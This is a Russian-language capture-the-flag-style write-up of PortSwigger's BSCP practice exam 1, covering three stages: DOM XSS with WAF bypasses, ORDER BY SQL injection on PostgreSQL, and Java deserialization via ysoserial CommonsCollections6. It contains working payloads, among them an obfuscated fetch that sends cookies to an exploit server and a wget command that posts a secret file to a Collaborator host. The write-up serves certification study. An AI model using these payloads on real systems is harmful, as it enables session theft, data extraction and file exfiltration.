> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/bscp-certification-practical-guide/writeup-practice-exam-1-bscp.md).

# Разбор практического экзамена BSCP 1

Заметки к разбору практического экзамена BSCP 1 для лабораторий PortSwigger Web Security Academy, включая рабочий процесс эксплуатации, тестирование полезных нагрузок, валидацию в Burp Suite и контекст устранения.

## Этап 1: Первоначальный доступ (межсайтовый скриптинг - XSS)

Цель: панель исследований. Вектор: внедрение JavaScript через DOM внутри объекта JSON.

#### 1. Анализ точки внедрения

Поисковый запрос отражается в переменной JavaScript:

```javascript
var searchResultsObj = {"results":[],"searchTerm":"test"}
```

```javascript
"};alert(1);//
```

#### 2. Обход WAF и эксфильтрация

Прямое использование `document.cookie` вызывает срабатывание WAF ("Потенциально опасный поисковый запрос"). Чтобы обойти это, используется шестнадцатеричное/Unicode-кодирование или `на` функция используется.

Тестовая полезная нагрузка (обход):

```javascript
"};alert(document['/x63/x6f/x6f/x6b/x69/x65']);//
"};alert(document['/u0063/u006f/u006f/u006b/u0069/u0065']);//
"};with(document)alert(cookie);//
```

Итоговая полезная нагрузка (эксфильтрация через Collaborator):

* Мы используем `eval(atob(...))` чтобы скрыть `fetch` запрос на наш эксплойт-сервер.

{% code overflow="wrap" %}

```javascript
"};eval(atob('ZmV0Y2goJ2h0dHBzOi8vZXhwbG9pdC0wYWVjMDBmMjA0NWI1ZDUzODMwMDg3YWMwMWVlMDA3Zi5leHBsb2l0LXNlcnZlci5uZXQvbG9nP2M9Jytkb2N1bWVudC5jb29raWUp'));//
```

{% endcode %}

#### 3. Финальный эксплойт (доставленный жертве)

Скрипт перенаправляет жертву на вредоносный URL, содержащий внедрённую полезную нагрузку:

```javascript
<script>
location='https://0a5c00b104455dae835b889200d50093.web-security-academy.net/?SearchTerm=%22};eval(atob(%27ZmV0Y2goJ2h0dHBzOi8vZXhwbG9pdC0wYWVjMDBmMjA0NWI1ZDUzODMwMDg3YWMwMWVlMDA3Zi5leHBsb2l0LXNlcnZlci5uZXQvbG9nP2M9Jytkb2N1bWVudC5jb29raWUp%27));//'
</script>
```

## Этап 2: Повышение привилегий (SQL-инъекция)

Вектор: SQL-инъекция в `ORDER BY` параметра

#### 1. Идентификация базы данных

Ошибка, сгенерированная незакрытой цепочкой, подтверждает возможную инъекцию. Для определения движка тестируются полезные нагрузки на основе времени:

* PostgreSQL (цель): `DATE,pg_sleep(10)`
* Возникшая ошибка: `не удалось определить оператор упорядочивания для типа void`.
* Причина: `pg_sleep()` возвращает `void`, который не может быть отсортирован `ORDER BY`.

#### 2. Извлечение данных (через ошибки)

Чтобы извлечь пароль администратора, вызывают ошибку преобразования типа (Cast), чтобы отобразить данные в сообщении об ошибке.

Полезная нагрузка: `DATE,(CASE WHEN (1=1) THEN (SELECT 'a' FROM pg_sleep(10)) ELSE 'a' END)`

Результат: ошибка раскрывает пароль: `недопустимый синтаксис ввода для типа integer: "b235d711d5858825"`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-24d847c788507ab59f850d6ab9a6c57d60abde5a%2Fimage%20(3134).png?alt=media" alt=""><figcaption></figcaption></figure>

### Этап 3: доступ к файловой системе (Java Deserialization)

Цель: доступ к файловой системе (эксфильтрация `секретного` файла).

{% code overflow="wrap" %}

```bash
Cookie: admin-prefs=H4sIAAAAAAAA%2fzWPPU7DQBCFF0RSQcMJpkOi2PTQEH4iCkcKClJEOV6Pk8HrHbO7dmKQOA4VJ%2bAI3IU7sBahm%2fn09PS9zx81Cl6dW8w1msjigjZS1%2bJ0IM9o%2bRVzS3pa1OwWnsrw9vUxDqvv7FAdZeq4xE48R5qJFFGdZs%2fY4cSiW0%2bW0bNbX2bq5D%2fz0EqkF%2fWuDvawHei1SLWHo7ih%2bi%2bxa6Iab5kc%2baiu5j04rAk4wA16KwHm4qL0qOFJWqjYWiqg7qHEVOE1JNMGPUEUKJh0VIvHDcGKcpg2jWWDw1K4R1ORPwvpcEWePC7gloORjgZ1SBDudo0VjsO7JDMI9zCzuA1JT3zaSb9PDWuHQgEAAA%3d%3d
```

{% endcode %}

#### 1. Анализ cookie

После подключения под администратором мы наблюдаем `admin-prefs` cookie.

* Формат: URL-кодирование -> Base64 -> Gzip -> сериализованный объект Java.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-258aef3ebc0b00f42797f2195a79842589f916a7%2Fimage%20(3135).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 2. Эксплуатация (Ysoserial)

Приложение использует уязвимую библиотеку (CommonsCollections). После тестирования различных версий (1–8) рабочей оказывается версия CommonsCollections6.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f44b05966e2621f02037aad333b3d455d76643c7%2Fimage%20(3136).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 3. Полезная нагрузка для эксфильтрации

Мы генерируем полезную нагрузку, чтобы отправить содержимое `/home/carlos/secret` файла на наш сервер Collaborator через POST-запрос:

{% code overflow="wrap" %}

```bash
CommonsCollections6 '/usr/bin/wget --post-file /home/carlos/secret https://xnoho8l20pznclvof0aaw7ysjjpad01p.oastify.com'
```

{% endcode %}

* Процедура: сжать бинарный файл в Gzip -> закодировать в Base64 -> заменить значение в `admin-prefs` cookie.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2373203642509ad9e4a3b8017fe4a5b73d1515b%2Fimage%20(3137).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/bscp-certification-practical-guide/writeup-practice-exam-1-bscp.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
